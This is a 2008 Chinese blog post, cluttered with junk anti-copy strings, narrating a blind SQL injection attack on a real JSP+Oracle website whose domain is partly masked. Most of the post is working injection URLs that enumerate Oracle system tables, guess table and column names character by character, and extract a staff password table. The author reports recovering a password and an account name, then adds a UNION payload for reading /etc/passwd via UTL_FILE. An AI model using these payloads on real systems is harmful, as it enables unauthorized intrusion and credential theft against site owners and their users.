JSP+Oracle SQL Injection之旅

上一篇 / 下一篇  2008-12-01 07:42:08

iJ.Sg*ZaX2c8H0SQL Injection可谓是长盛不衰的话题了,从ASP+MSSQL到PHP+MYSQL,一路走来也可谓是一路艰辛,同时也造就了这个技术领域内高手如云:Pskey、小勇、isno等人成为一代偶像人物。其实只要我们灵活利用SQL语句,说不定就会给自己带来意外的收获,自己也能过过高手瘾呢!本文是写给菜鸟看的,高手们别砍我哦!谁叫我也是菜鸟一只呢!IXPUB技术博客 d-wb;{ual
现在很多大型网站,像银行、政府网站一般采用的是JSP+Oracle,从WEB程序来看,普遍存在的问题还是很严重的,希望广大的程序员管理人员注意这方面的安全隐患。. 今天我们的目标也是JSP+Oracle的网站,对它进行SQL Injection的测试,希望达到引伸、开拓这种技术的目的。日标站点:http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797。如图1所示。IXPUB技术博客M0r tvjbM/{

{qi {FU+Ff0IXPUB技术博客o+dN4?W]\

IXPUB技术博客B ^Hz!Ab

图1
%frQcqO0首先我们看看Oracle的系统数据库:IXPUB技术博客[vd8rb9h(S#`:b
all_tables 存放当前ID和其他用户的所有表。
?OH^E0user_tables 存放当前用户所有表。
\Amq9c0user_tab_columns 存放当前用户表的所有列。
3tNnq%m%Y0这些东西是后面操作的基础,是非常重要的。下面就看具体的操作过程了。IXPUB技术博客(c5|*g#MAR3]^#a JK
首先需要看一下系统表是否存在,一般都是存在的,没有就没得玩了,只能回家抱孩子了。提交URL:
BM(F(fHmq-X M@0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from all_tables) and '1'='1
;b-s1},s`i)r0这里是想看一下有没有“all_tables”这个系统表,将“and”后的结果和0比较,如果后面为真,这整个语句都为真,并能正常返回页面,反之就不能正常返回了。下面的判断也是这个道理,相信大家都明白,我就不多说了。再依次提交:IXPUB技术博客6k4r8Y;S7pX
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables) and '1'='1IXPUB技术博客7k4v*[/Gr
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns) AND '1'='1IXPUB技术博客 y fnK(X/`
返回如下结果,如图2所示。IXPUB技术博客O"Oc"x._:] U,L\

7dd;_?E`NZ%P0IXPUB技术博客zI/GQ3UAn

)}U%S,oH JgGS3Z]M0图2
%Y] l tk)P)m0都正确返回,说明存在猜测的系统表。下面看我们怎么猜它的其他表名(注意:Oracle里的表名、列名都是要大写的,要注意输写,还有下面用的到Length()、Substr()等函数的说明,请查看相关资料)。
-Bh-FBXr5g#w3^0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,1)='P') and '1'='1
;H,]0s3x:aB4x:X0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where substr(table_name,1,2)='PL') and '1'='1
3|$_Bh{8h.TC G Y0第二个字母为L,大家也可能用Ascii()来试试。得到一个表名,第一个字符为P,第二个字符为L。汗!一个一个的试,到后来才发现这里的步骤真是多余的……
&mxMm)W~*R0我们再来看看这个表的长度,确定一下范围才好猜,不然不知道要猜到什么时候才能结束:
E4S)B%v0{6L0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)>8 and table_name like'%25PL%25') and '1'='1IXPUB技术博客9j:Ue*^*tVu/F
没有正确返回。看来不会大于8了,那我们试试等于8吧:
e(Jf I0\)W;U,w0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where length(table_name)=8 and table_name like'%25PL%25') and '1'='1IXPUB技术博客6Xx?8i~S
Yeah!正常返回,我们确定表名长度是8了。大家如果自己在猜测的时候,也可以用< >等来缩小范围。下面我们继续用上面的语句来猜测表名,最后得出的表名为PLAN_TAB。
D rBCz"^!B5G0 

*VuOkk C({bt0

M;^wa^k"gTv0TIPS:这里可以用Like来猜表,比如:看看有没有什么ADMIN,USERS表什么的。IXPUB技术博客J c7L"W]5xVhN
and 0<>(select count(*) from user_tables where table_name like '%25ADMIN%25') and '1'='1
'Dl7Y&P&Z3pf0and 0<>(select count(*) from user_tables where table_name like '%25USERS%25') and '1'='1IXPUB技术博客wF8P#cE~

gS_P0RQ f0表名猜出来了,我们来检测一下:IXPUB技术博客4q6Dy$Q g+G
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tables where table_name='PLAN_TAB') and '1'='1IXPUB技术博客K/R)h'Mtpg-[L"]
正常返回。我们辛苦总算没有白费,不过烟倒是牺牲了不少,不过革命尚未成功,同志仍需努力!继续猜列名:IXPUB技术博客\Y%i3yy7E.t
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='PLAN_TAB' and column_name like '%25PASS%25') and '1'='1
e'K|v^+n v3Lz0试试有没有PASS(一些很容易想到的我都试了)这个字段,结果很失望,什么都没有。那有什么办法将它猜出来呢?看下面的方法。
C!Tt.v,aL0看来这个表里没有什么敏感列名了,有点泄气。再去翻翻Oracle的书,突然想到可以直接查列名,汗!可能是以前学MSSQL、MYSQL的时候形成固定思维了,忘了Oracle是不一样的。那我们干脆来直接的IXPUB技术博客-Al?6I:j^u T
看看有没有敏感列名吧!.
N+KUy ~!t ~ k0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25') and '1'='1
!DBf;pn0^n\0直接来猜看看有没有PASS,和NAME这样的列名。经测试有LIKE ID/NAME/PASSWD这三个列名,但它们有可能不在同一个表里,那我就拿LIKE PASS这个来测试。先来看看有PASSWD这个列名对应的表名的长度:IXPUB技术博客v``fw0ngU
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and length(table_name)=8) and '1'='1
qAE+^#u,Td A0得到有NAME这个字段对应的表的长度是8,继续猜到对应的表名:
7fB [%j+^F0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,1)='T') and '1'='1IXPUB技术博客+w(T2to9m
它们会不会在同一个表里呢?看完下面就知道了。得到PASS对应表名第一个字符为T:IXPUB技术博客6z)l"j2Q-a)O:z
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where column_name like '%25PASS%25' and substr(table_name,1,8)='T_PASSWD') and '1'='1IXPUB技术博客e2J'g kk6FuYI
一个字符一个字符来猜,方法跟上面猜表的过程一样,只是前面多了一个条件“column_name like '%25PASS%25'”。最后得到这个表名为:T_PASSWD,接下来当然得把Like ID/NMAE/ PASSWD的列名猜完整:
G;TtQ(ul9]0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,-2,2)='ID') and '1'='1
+D[/hA|,A0可以确定ID两个字符在最后面两个,大家可以改变Sbustr()里的值,慢慢缩小范围:
yy? b8|p [BPX1T0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,1)='S') and '1'='1IXPUB技术博客t5^*Q u7G9dZg
得到第一个字符为S。IXPUB技术博客a\w5a%HER*j#kb`
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,2)='ST') and '1'='1
t"[)V0Q_3W|l0第二个字符为T。IXPUB技术博客 Cg1}Xf Rw4Zc v
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,3)='STA') and '1'='1
nYV1H4x`!~0第三个为A……直到第八个字符。
4GX)f[]0http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797'and 0<>(select count(*) from user_tab_columns where table_name='T_PASSWD' and substr(column_name,1,8)=' STAFF_ID ') and '1'='1
+auB8pZ+L4dlMN,Mex0从这里就可以看出完全是同一个表了。其实遇到这么多次程序,还没见过是分开建的表呢。最后得出表名是:T_PASSWD,列名有四个,分别是STAFF_ID、STS、PASSWORD、LAST_DATE,后来证实这些猜解都是正确的(进了服务器就什么都看到咯,如图3所示)。IXPUB技术博客/I@%Y%z~y+xZK
 

%s;R9g)`]x0IXPUB技术博客)TObPXx

)lzp&}tJ4_e0

^6F]/Q8_1y}+@ l/O0图3IXPUB技术博客o^q$Nlcxp
以上的过程是很枯燥的,死了不少脑细胞,觉得和猜Access一样。要是Oracle有像MSSQL月月秒年个直接暴库、表的方法就好了。呵呵,接下来的事,当然是要搞个用户名和密码了。Come on!看看最小的STAFF_ID的值是多少:IXPUB技术博客(f.oG0M`.h
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 1=(select min(STAFF_ID) from T_PASSWD) and '1'='1
4d8Nzq2jz&s0返回正常。呵呵,不要客气它就是我们的目标,把它的Password搞出来先。好戏就要上演了,真还想看看《黑客帝国》里的动画:IXPUB技术博客` Xp h"Ze{
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(PASSWORD,1,1)=’1’ and STAFF_ID=1) and '1'='1
,L]#m?bS_J-z*s0当然大家也可以用Ascii()函数来猜,关于这方面很都前辈都说过了,这里就不再做说明,不然编辑说我骗稿费了,呵呵。猜不到10分钟就出来了密码:“19791108”,好像是生日哟。有密码了,没用户还不行,接下来的事就简单多了:IXPUB技术博客w%v:H4an'N.KQc
http://www.****jp.cn/viewBulletin.do?type=C&bulletin_id=200404010797' and 0<>(select conut(*) from T_PASSWD where substr(STS,1,1)=’1’ and STAFF_ID=’T’) and '1'='1
;U.Q'{(M'~`0一步一步来。步骤和上面的没多大差别,先看看长度,再一个个来猜。这个在猜的时候用的时间就长了一点,花了我25分钟最后得到帐户是:“TANGBIN”,注入过程正式结束!
4X!R{c7I6z/_!r$C0最后补充几点:如果开放Public组的UTL_FILE则有可能读取服务器上的文件,如果设置错误,可以得到任何文件,如:读出/etc/passwd文件,不过它要和Union联合使用,如:union select 'hoge','../../../../../etc/passwd','1','1','1' from SOMETABLE--。关于Union查询,黑防七期上angel的PHP注入文章里已经介绍得比较详细:前面的语句要构造假的条件,才能返回后面的查询。当然,你也可以尝试Update、 Insert、跨库等,如果你想知道答案的话,自己来吧!相信黑防近期就会出这样的文章了。当然如果你有什么好的办法或者资料,记得给我一份哟。

F3g^5O/Us0

3

3

TAG:

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2009-01-05  
    123
45678910
11121314151617
18192021222324
25262728293031

数据统计

  • 访问量: 64850
  • 日志数: 1202
  • 文件数: 1
  • 建立时间: 2007-08-10
  • 更新时间: 2009-01-05

RSS订阅

Open Toolbar